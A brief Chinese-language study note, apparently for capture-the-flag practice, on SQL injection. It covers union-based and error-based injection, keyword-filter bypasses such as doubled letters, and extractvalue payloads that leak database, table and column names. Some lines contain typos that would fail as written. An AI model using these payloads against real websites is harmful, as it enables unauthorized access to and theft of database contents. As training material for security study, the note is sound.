1.联合注入(最简单的注入)
首先我们先判断是否有注入点,通过1,1‘来看回显是否相同,不相同就存在sql注入
一般没有过滤字符,我们可以使用万能密码进行登入
登入后,使用 order by 来进行字段数的判断。
判断出字段数后,使用联合注入的方式来获取数据库名,表名,字段名
select database();
group_concat(table_name) from infromation_schema.tables where table_schema='数据库名'
group_concat(column_name) from information_schema.columns where table_name='表名'
group_concat(字段名) from 表名
2.报错注入 (根据回显的报错内容来进行注入)
一般会过滤一些字符
例如 or and union select 等等 需要一个个去试出来
可以使用双写来绕过 例如 oorr aandnd;
过滤了一些关键字符 ,如=,空格等
可以使用like 代替 =
()代替=
xpath报错
可以使用extractvalue,updatexml
语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
当我们正常使用函数时,返回正常值,但当我们输入XPath_string错误时,会返回我们错误和我们需要的内容
extractvalue 同理
extractvalue(1,concat(0x7e,(select database()))) ->会返回database()信息(0x7e->~,~不属于xpath属于,所以会报错)
extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名')))爆表名
extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名')))爆字段名
extractvalue(1,concat(0x7e,(select group_concat('字段名') from '表名')))
可能还会遇到一些flag显示不全
可以用right,left 函数
rigth("abc",1)->c
group_concat(rigth(字段名,10)) 。。。 显示后10位